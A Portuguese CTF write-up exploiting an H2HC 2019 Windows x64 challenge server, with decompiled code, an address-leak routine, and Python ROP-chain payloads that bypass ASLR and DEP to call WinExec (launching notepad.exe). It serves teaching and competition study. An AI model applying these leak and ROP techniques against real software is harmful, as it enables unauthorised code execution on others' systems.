0x00 - Introdução
Este ano (2019) tive o privilégio de participar da H2HC e durante a conferência teve um desafio CTF do qual eu participei com alguns amigos. O jogo começo com um desafio de engenharia reversa e outro de exploitation. Neste post iremos reproduzir passo a passo o processo de exploração deste exploit.
0x01 - Escopo
Para este desafio nos foi entregue um binário, o mesmo disponível no link (h2hc_2019_ctf), com uma descrição "Para o desafio de exploração o exploit deve funcionar no Windows 10 com full ASLR e outras mitigações habilitadas", sendo assim temos de montar um ambiente com Windows 10 atualizado e com as proteções de memória (ASLR e DEP) habilitadas.
0x02 - Enumeração
Como qualquer exploração, uma das principais fases é a enumeração, então vamos lá.
0x0201 - Hashes
[sourcecode language="shell"]# md5sum h2hc.exe
ca3c795f41b65cc298a87027869a111d h2hc.exe
# sha1sum h2hc.exe
20976f919b8ca7430e73e51fbd826dc570fa03d2 h2hc.exe
[/sourcecode]
Utilizando o readpe do Kali podemos ver diversas informações da aplicação, abaixo segue o output de algumas partes, que extrairemos informações importantes.
[sourcecode language="shell"]# readpe --all h2hc.exe
DOS Header
Magic number: 0x5a4d (MZ)
Bytes in last page: 144
Pages in file: 3
Relocations: 0
Size of header in paragraphs: 4
Minimum extra paragraphs: 0
Maximum extra paragraphs: 65535
Initial (relative) SS value: 0
Initial SP value: 0xb8
Initial IP value: 0
Initial (relative) CS value: 0
Address of relocation table: 0x40
Overlay number: 0
OEM identifier: 0
OEM information: 0
PE header offset: 0xe0
COFF/File header
Machine: 0x8664 IMAGE_FILE_MACHINE_AMD64
Number of sections: 5
Date/time stamp: 1568413383 (Fri, 13 Sep 2019 22:23:03 UTC)
Symbol Table offset: 0
Number of symbols: 0
Size of optional header: 0xf0
Characteristics: 0x22
Characteristics names
IMAGE_FILE_EXECUTABLE_IMAGE
IMAGE_FILE_LARGE_ADDRESS_AWARE
Optional/Image header
Magic number: 0x20b (PE32+)
Linker major version: 10
Linker minor version: 0
Size of .text section: 0x8200
Size of .data section: 0x7c00
Size of .bss section: 0
Entrypoint: 0x1aa8
Address of .text section: 0x1000
ImageBase: 0x140000000
Alignment of sections: 0x1000
Alignment factor: 0x200
Major version of required OS: 5
Minor version of required OS: 2
Major version of image: 0
Minor version of image: 0
Major version of subsystem: 5
Minor version of subsystem: 2
Size of image: 0x14000
Size of headers: 0x400
Checksum: 0
Subsystem required: 0x3 (IMAGE_SUBSYSTEM_WINDOWS_CUI)
DLL characteristics: 0x8140
DLL characteristics names
IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
IMAGE_DLLCHARACTERISTICS_NX_COMPAT
IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE
Size of stack to reserve: 0x100000
Size of stack to commit: 0x1000
Size of heap space to reserve: 0x100000
Size of heap space to commit: 0x1000
...
Imported functions
Library
Name: KERNEL32.dll
Functions
Function
Name: WinExec
Function
Name: GetCommandLineA
...
Sections
Section
Name: .text
Virtual Address: 0x1000
Physical Address: 0x8027
Size: 0x8200 (33280 bytes)
Pointer To Data: 0x400
Relocations: 0
Characteristics: 0x60000020
Characteristic Names
IMAGE_SCN_CNT_CODE
IMAGE_SCN_MEM_EXECUTE
IMAGE_SCN_MEM_READ
[/sourcecode]
Neste output algumas informações são importantes:
- ImageBase: 0x140000000
- Address of .text section: 0x1000
- Imported functions contains: WinExec
0x0202 - ROP Gadgets
Como este exploit será com proteções de memória ASLR + DEP, inevitavelmente iremos utilizar a técnica de ROP, então ainda no Kali já vamos pegar os gadgets
Utilizando a ferramenta ROP disponível em https://github.com/JonathanSalwan/ROPgadget podemos obter todos os endereços que utilizemos futuramente
[sourcecode language="shell"]# ROPgadget --binary h2hc.exe
Gadgets information
============================================================
0x000000014000567b : adc ah, bl ; add byte ptr [rax], al ; inc edx ; jmp 0x140005669
0x000000014000323b : adc al, 0 ; add byte ptr [rbp - 0x74f78b40], al ; retf
0x0000000140002276 : adc al, 0x48 ; add esp, 0x28 ; ret
...
...
...
0x00000001400036d7 : xor esi, dword ptr [rcx + rdx - 1] ; ret 0xff49
0x0000000140008c0f : xor rax, rax ; ret
Unique gadgets found: 1048
[/sourcecode]
Este comando nos retornou 1048 gadgets.
0x0203 - Interagindo com a aplicação
Vamos então começar a brincadeira e interagir com a aplicação.
Abrinda a aplicação no Windows podemos ver que a mesma realiza um bind na porta 54345
Podemos ver que há mensagens mostradas na console da aplicação
0x03 - Entendendo a aplicação
Como vimos anteriormente a aplicação espera uma espécie de cabeçalho (header) para realizar a comunicação, sendo assim será necessário realizar a engenharia reversa da mesma, para esta tarefa utilizaremos a ferramenta Ghidra disponível em https://ghidra-sre.org/.
Neste passo irei gastar um pouco mais de tempo para entendermos o fluxo da aplicação, fluxo este que determinará no sucesso do nosso overflow.
Analisando o comportamento da aplicação podemos ver que ela imprime em tela algumas mensagens como "Server listenning", Waiting for H2HC evil connections", sendo assim vamos começar procurando pela função que imprime essas mensagens.
Na posição 140001520 encontramos essa função na qual detém o pseudocode conforma abaixo
[sourcecode language="c"]
/* WARNING: Removing unreachable block (ram,0x000140001608) */
void FUN_140001520(undefined4 param_1,undefined8 param_2,undefined8 param_3,undefined8 param_4)
{
ulonglong uVar1;
undefined *puVar2;
longlong *plVar3;
undefined4 local_res8 [8];
longlong local_48;
undefined4 local_40 [2];
undefined local_38 [32];
longlong local_18;
local_res8[0] = param_1;
FUN_140001000((longlong)local_res8);
uVar1 = FUN_1400010a0();
if ((int)uVar1 == 0) {
FUN_1400011c0(s_[-]_Socket_support_version_error_14000d0c8,param_2,param_3,param_4);
}
else {
plVar3 = &local_48;
puVar2 = (undefined *)0xd449;
uVar1 = FUN_140001110(s_0.0.0.0_14000d0f0,0xd449,plVar3);
if ((int)uVar1 != 0) {
FUN_1400011c0(s_[+]_Server_listening_14000d128,puVar2,plVar3,param_4);
do {
while( true ) {
FUN_1400011c0(s_[+]_Waiting_for_H2HC_evil_connec_14000d140,puVar2,plVar3,param_4);
local_40[0] = 0x10;
plVar3 = (longlong *)local_40;
puVar2 = local_38;
local_18 = FUN_140001210(local_48,puVar2,plVar3);
if (local_18 != -1) break;
FUN_1400011c0(s__[-]_Client_socket_error_14000d168,puVar2,plVar3,param_4);
}
FUN_1400011c0(s__[+]_New_connection_accepted_14000d188,puVar2,plVar3,param_4);
FUN_140001480(local_18);
FUN_1400011c0(s__[+]_Closing_connection_14000d1a8,puVar2,plVar3,param_4);
FUN_140001300(local_18);
} while( true );
}
FUN_1400011c0(s_[-]_It_was_not_possible_to_bind:_14000d100,s_0.0.0.0_14000d0f8,0xd449,param_4);
}
FUN_140001050((longlong)local_res8);
return;
}
[/sourcecode]
Quando uma conexão é recebida a mesma é tratada pela função localizada na posição 140001480, aqui nomeada FUN_140001480.
Que temos o seu pseudocode abaixo
[sourcecode language="c"]void FUN_140001480(undefined8 param_1)
{
uint uVar1;
ulonglong uVar2;
undefined8 uVar3;
undefined8 uVar4;
undefined8 local_res8 [4];
int local_10;
uint local_c;
local_res8[0] = param_1;
FUN_140001000((longlong)local_res8);
uVar4 = 0;
uVar3 = 8;
uVar1 = FUN_140001260(local_res8[0],&local_10,8,0);
uVar2 = (ulonglong)uVar1;
FUN_1400011c0(s__[+]_Header_received:_%i_bytes_14000d068,uVar2,uVar3,uVar4);
if (uVar1 == 8) {
if (local_10 == 0x43483248) {
FUN_140001380(local_res8[0],(ulonglong)local_c,uVar3,uVar4);
}
else {
FUN_1400011c0(s__[-]_Error:_Invalid_cookie_14000d0a8,uVar2,uVar3,uVar4);
}
}
else {
FUN_1400011c0(s__[-]_Error:_Invalid_header_14000d088,uVar2,uVar3,uVar4);
}
FUN_140001050((longlong)local_res8);
return;
}
[/sourcecode]
Essa função recebe os dados que enviamos, separando um header de um body, tendo o header em local_10 e o body local_res8.
A aplicação realiza as seguintes ações de checagem:
- Verifica se o header tem 8 bytes;
- Verifica se o header é igual a 0x43483248 que decodando o hexa chegamos ao texto H2HC;
- Caso ocorra as duas condições a função FUN_140001380 é chamada.
Sendo assim nosso header deve conter 8 bytes, onde os 4 primeiros é o texto H2HC e os 4 bytes subsequentes é o tamanho do body enviado, conforme veremos abaixo.
Segue abaixo o pseudocódigo da função FUN_140001380
[sourcecode language="c"]void FUN_140001380(undefined8 param_1,undefined8 param_2,undefined8 param_3,undefined8 param_4)
{
uint uVar1;
ulonglong uVar2;
undefined *puVar3;
undefined8 uVar4;
undefined8 local_res8;
uint local_res10;
undefined local_118 [252];
int local_1c;
int local_18;
local_res10 = (uint)param_2;
local_18 = local_1c;
local_res8 = param_1;
FUN_140001000((longlong)&local_res8);
if (local_res10 < 0x101) {
uVar4 = 0;
uVar2 = (ulonglong)(local_res10 + local_18);
uVar1 = FUN_140001260(local_res8,local_118,local_res10 + local_18,0);
FUN_1400011c0(s__[+]_Message_received:_%i_bytes_14000d000,(ulonglong)uVar1,uVar2,uVar4);
puVar3 = local_118;
sprintf(&DAT_14000e4a0,s_[+]_H2HC19_message:_%s_14000d028);
FUN_1400011c0(&DAT_14000d040,&DAT_14000e4a0,puVar3,uVar4);
FUN_1400012b0(local_res8,&DAT_14000e4a0,local_res10 + local_18,0);
}
else {
FUN_1400011c0(s__[-]_Error:_Invalid_size_14000d048,param_2,param_3,param_4);
}
FUN_140001050((longlong)&local_res8);
return;
}
[/sourcecode]
Essa é a função que realiza o tratamento do body enviado, nela podemos ver que uma das primeiras verificações é se o tamanho (que foi passado no header é menor que 0x101). Caso seja menor chama a função FUN_140001260 que na verdade é um alias para a função de socket que recebe os dados, posteriormente mostra a mensagem "[+] Message received..." em tela com o uso da função FUN_1400011c0, utiliza o sprintf para imprimir o texto recebido em tela, em seguida executa as funções FUN_1400011c0 e FUN_1400012b0. Em qualquer condição sempre executa a função FUN_140001050.
De forma simples a função FUN_1400012b0 realiza o envio dos dados para o cliente via socket.
Vamos dar uma pausa na análise do código para fazer uns testes e verificar se o que vimos realmente é o que acontece.
Duas funções creio que seja melhor olharmos elas no debugger para ilustrar melhor o seu funcionamento.
Função FUN_140001260 que realiza o recebimento dos dados via rede.
Função FUN_1400012b0 que realiza o envio dos dados via rede
0x0301 - PoCs
Vamos então tentar enviar a String H2HC seguido de um tamanho menor que o 0x0101 e um buffer.
No exemplo abaixo fiz uma PoC passando como tamanho 5 bytes, mas enviando um buffer maior. Como visto a aplicação tratou os 5 bytes e retornou somente os primeiro 5 bytes da mensagem.
Vamos agora tentar passar um tamanho maior que os 0x101. Podemos ver que não houve retorno por parte da aplicação e que na console da mesma foi apresentado um erro de tamanho inválido.
Fazendo mais um teste vamos passar o valor máximo possível 0x100. Nessa condição podemos ver que ocorreu uma falha na aplicação. Mas não podemos nos empolgar, essa falha ainda não nos dá condição de execução de um código arbitrário.
0x0302 - Análise dinâmica até este ponto.
Analisando um pouco mais a fundo podemos ver que na função FUN_140001050 temos a opção de manipular o endereço de retorno.
Em um fluxo normal, onde passamos um tamanho de no máximo 0xff, temos o comportamento normal da aplicação
Primeiramente é atribuído a EAX o valor que está no endereço de memória final e5b4 que corresponde ao hexa 0x04
Posteriormente atribui a RCX o valor da posição de memória final e5b8 cujo o seu valor é 0x00
E se utiliza desses 2 valores para cacular o endereço que posteriormente será usado como endereço de retorno da função FUN_140001380 que chamou essa função (FUN_140001050).
E como podemos ver no topo da pilha no momento do ret da função FUN_140001380 está o endereço que foi calculado anteriormente, desta forma a aplicação chamará como proxima instrução este endereço.
Quando passamos o valor 0x100 como tamanho podemos ver que o os valores em ...e5b4 e ...e5b8 são adulterados e consequentemente o endereço de retorno é alterado.
O problema é que como esse (0x100) é o valor que podemos passar, não temos como fazer de forma direta uma substituição desses valores para que possamos efetivamente manipular o ret de forma que possamos passar valores de endereço válido.
Após uma análise mais profunda e diversos testes encontrei que a vulnerabilidade pela qual é possível realizar o controle ro RET, é aliada com a que mostramos anteriormente, mas ela ocorre somente após o segundo envio de dados.
Em uma tentativa de ilustrar melhor o que ocorre (antes de vermos o código da aplicação), a aplicação recebe os dados na pilha atual (no tamanho especificado pelo usuário até 0x100), mas para realizar isso realiza a soma 2 valores para definir esse tamanho que será recebido, a falha ocorre exatamente neste ponto. Um dos valores da soma é o que o usuário passou 0x00 até 0x0100) e o outro é ums posição de memória, o problema que essa posição de memória está 252 bytes (Hexa: 0xFC) a frente da posição de memória onde é salvo os dados recebidos do socket, como nós podemos gravar até 256 bytes (Hexa: 0x0100), podemos substituir esse valor do cálculo.
Segue abaixo os prints das evidencias do teste
Comandos sequenciais para evidenciar a falha
Note o endereço para o qual serão enviados os dados (0xc7f5e0) bem como os dados que estão na pilha.
Agora logo após a execução da função de recebimento dos dados.
Agora executamos o segundo comando
Observe agora os valores de RAX e RCX, onde RAX recebe o valor que está na posição 252 do nosso buffer, e o RCX recebe o valor 05, que foi o tamanho passado por mim, e a soma dos 2 vai ocorrer podendo assim extrapolar os 256 bytes de limite da aplicação.
0x0303 - Memory Address Leak.
Para que possamos redirecionar o fluxo da aplicação para um endereço de POP POP RET ou outro qualquer que desejamos, se faz necessário conhecer o endereçamento atual da execução e como a aplicação e o Sistema Operacional estão com as proteções de memória Habilitadas (neste caso ASLR).
Para que a aplicação nos envie os dados, ela faz um cálculo um pouco diferente, usando outras posições de memória, mas igualmente podendo serem manipuladas por nós.
Segue abaixo as 2 linhas responsáveis por explorar a vulnerabilidade do leak.
Observe que os registradores RAX e RCX receberam os dados desejados.
Que posteriormente serão utilizados como terceiro parâmetro da função Send do Socket que por sua vez é o parâmetro que define o tamanho do buffer que será enviado
Neste ponto vamos escrever nosso primeiro PoC do exploit. Neste exploit ainda não temos uma versão funcional do Leak, pois precisaremos realizar alguns ajustes para que o mesmo funcione corretamente (próximo assunto que abordaremos). Adicionalmente iremos utilizar a biblioteca pwnlib para nos facilitar no processo de exploit.
0x0303 - Retomada do fluxo.
Para que a nossa aplicação nos retorno os dados se faz necessário ajustar nosso payload para que o endereço no topo da pilha (conforme vimos em 0x0302 - Análise dinâmica até este ponto).
Abaixo temos o novo script, nele podemos observar que removi os últimos bytes do segundo payload para que tenhamos um endereço de retorno viável, pois com eles estavam sendo substituídos os endereços que a aplicação usa para controle.
Ajustamos os ultimos 4 bytes para ser 0x040090000 de forma que o byte 0x04 é usado (dentro da função FUN_140001050) para ser o RAX que será posteriormente multiplicado a 8 e somado a um endereço para calcular o endereço que ficará como sendo o endereço no topo da pilha para ser usado no RET, sendo assim o endereço das próximas instruções da nossa aplicação.
Segue abaixo a imagem do endereço calculado no topo da pilha.
Mas temos que lembrar que este conjunto de 4 bytes são os usados como tamanho de retorno dos dados por parte da função send do socket (como cimos anteriormente). Sendo assim para que tenhamos o leak de diversos endereços que precisamos colocar no mínimo 2308 bytes (Hexa: 0x0904).
Como resultado da execução podemos ver que tivemos um retorno de 0xa03 bytes, sendo que diversos deles são leaks de endereços da aplicação.
Utilizando o trecho de código abaixo podemos capturar e tratar os dados recebidos a fim de extrair os endereços desejados.
[sourcecode language="python"]p1.recvuntil("H2HC19 message:")
#Leak de um endereço no próprio fluxo de execução da aplicação (Sessão .text)
p1.recv(0x10d)
ld1 = p1.recv(8)
leak_local_addr = u64(ld1.ljust(8, "\x00"))
base_addr = leak_local_addr & 0xffffffffffff0000
log.info("Local leak : %s" % hex(leak_local_addr))
log.info("App Base Addr : %s" % hex(base_addr))
# Leak do endereço da função WinExec
p1.recv(0x7f0) #offset entre a posição zero até o 90 f0 7e 0a fa 7f
lead_data = p1.recv(8)
p1.recv(4096)
leak = u64(lead_data.ljust(8, "\x00"))
log.info("WinExec addr leak : %s" % hex(leak))
[/sourcecode]
Tendo como resultado abaixo
Segue o código completo
0x04 - ROP - Controlando o fluxo da aplicação
Uma vez que temos o endereço base da aplicação podemos utilizar nossos Gadgets para controlar o fluxo da aplicação
Sendo assim temos como payload do terceiro estágio o trecho abaixo
[sourcecode language="python"]payload3 = "H2HC" #cookie
payload3 += "\x00\x01\x00\x00" #size to trigger the vul
payload3 += "A" * 0x100
payload3 += "\x01\x01\x01\x01" # Não pode ter nullbyte aqui
payload3 += "A" * (8) # padding
payload3 += p64(base_addr + 0x0464f) # NOP RET para saltar para depois do alinhamento
payload3 += "\x41" * (4) # Alinhamento
payload3 += "\x42" * (8) # Trash
[/sourcecode]
Ficando nosso exploit completo como abaixo
0x05 - WinExec x64 calling conventions
Essa fase creio que foi uma das mais desafiadoras, pois tive que voltar aos livros (neste caso a web) e ler de forma detalhada a Convenção de chamada (Calling Conventions) disponível em https://docs.microsoft.com/pt-br/cpp/build/x64-calling-convention?view=vs-2019
Isso ocorre pois em 64bits há uma série de requisitos definidos na convenção de chamada que precisam ser cumpridos para que a aplicação (Chamada da função WinExec) funcione corretamente.
Segue abaixo os requisitos:
- O Comando tem de estar a frente da posição da pilha (ou 128 bytes antes) no momento do call da WinExec, pois dentro da chamada da winexec ele utiliza alguns bytes anteriores a posição atual da stack, causando a substituição do nosso comando
- O Endereço do comando tem de estar alinhado a 16 bytes para saber se o endereço está alinhado basta realizar o calculo (endereço & 0xfffffffffffffff0)
- O Endereço da pilha no momento da chamada do call da WinExec tem de estar alinhado a 16 bytes
- Na Pilha tem de ter o equivalente a 3 parâmetros como Shadow data (3 * 8 bytes)
- Na quarta posição da pilha tem de haver um endereço válido da aplicação (não é efetivamente usado mas dentro da WinExec ele cacula alguma coisa com este endereço e se for inválido da exception)
Conforme a definição da Microsoft a função WinExec (https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-winexec) necessita de 2 parâmetros
[sourcecode language="c"]UINT WinExec(
LPCSTR lpCmdLine,
UINT uCmdShow
);
[/sourcecode]
Onde:
- lpCmdLine é o comando a ser executado;
- uCmdShow como deve ser a visualização da aplicação filha. Este parâmetro acita diversos valores, mas os principais são: 0 - Hide, 3 - Maximize; 6 - Minimize; e 5 Show);
Segundo a convenção de chamadas para 64bits devemos ter então as seguintes informações:
- RCX: Primeiro parâmetro da função (lpCmdLine);
- RDX: Segundo parâmetro da função (uCmdShow);
- Pilha: Shadow space;
A nossa função (WinExec) exige os seguintes requisitos adicionais:
- Shadow space precisa ser de 24 bytes (3 * 8);
- Após os 24 bytes um endereço válido da aplicação. (Não entendi bem o porque, mas meu chute é que a função tenha alguma mitigação que verifique se o endereço de retorno é um endereço válido)
0x06 - ROP exploit final
Utilizando os gadgets que pegamos no início deste tutorial, podemos calcular os dados de forma estratégica para montar os dados conforme os requisitos acima, ficando conforme e imagem abaixo
Onde:
- R12 contém o endereço da função WinExec;
- RCX contém o parâmetro lpCmdLine, ou seja, endereço do comando a ser executado;
- RDX contém o parâmetro uCmdShow, ou seja, zero;
- Pilha (stack) contém 24 bytes de shadow space seguido de um endereço válido da aplicação;
Ficando então este trecho de ROP conforme abaixo
[sourcecode language="python"]base_offset = 928 # esse offset calcula de forma que o apontamento chegue a primeira instrução do ROP Chain abaixo
rop_chain2 = p64(leak) # WinExec --> Endereço que será chamado pelo call r12
rop_chain2 += p64(base_addr + 0x05c14) # add eax, r15d ; ret
rop_chain2 += p64(base_addr + 0x0166a) # add esp, 0x28 ; ret --> Ajusta o alinhamento a 16 bytes
rop_chain2 += "\x41" * 0x28
rop_chain2 += p64(base_addr + 0x0464f) # nop ; ret
rop_chain2 += p64(base_addr + 0x06e1d) # mov rcx, rax ; call r12
rop_chain2 += "\x00" * (8*3) # Shadow Data
rop_chain2 += p64(base_addr + 0x0464f) # NOP RET --> Será usado pela função WinExec
rop_chain2 += "\x00" * (8*10) # Padding
rop_chain2 += "\x00" * ((len(rop_chain2) + (8 * 4)) % 16) # Calcula simetria de 16 bytes
rop_chain1 = p64(base_addr + 0x07cc8) # mov rax, r11 ; ret
rop_chain1 += p64(base_addr + 0x04b59) # pop r15 ; pop r13 ; pop r12 ; ret
rop_chain1 += p64(base_offset + len(rop_chain2) + (8 * 4)) # Numero a ser adicionado em rax
rop_chain1 += "\x41" * 8
cmd = "notepad.exe"
payload3 += rop_chain1 + rop_chain2 + cmd + "\x00"
[/sourcecode]
E tendo nosso código final funcional abaixo
0x06 - Agradecimentos
Gostaria de agradecer aos amigos que jogaram comigo no CTF do H2HC, mesmo que não tenhamos conseguido resolver esse desafio de exploitation a tempo de pontuar no CTF, mas o desafio valeu a pena. Também gostaria de agradecer o Feroso pela troca de idéias e dicas durante o estudo deste exploit.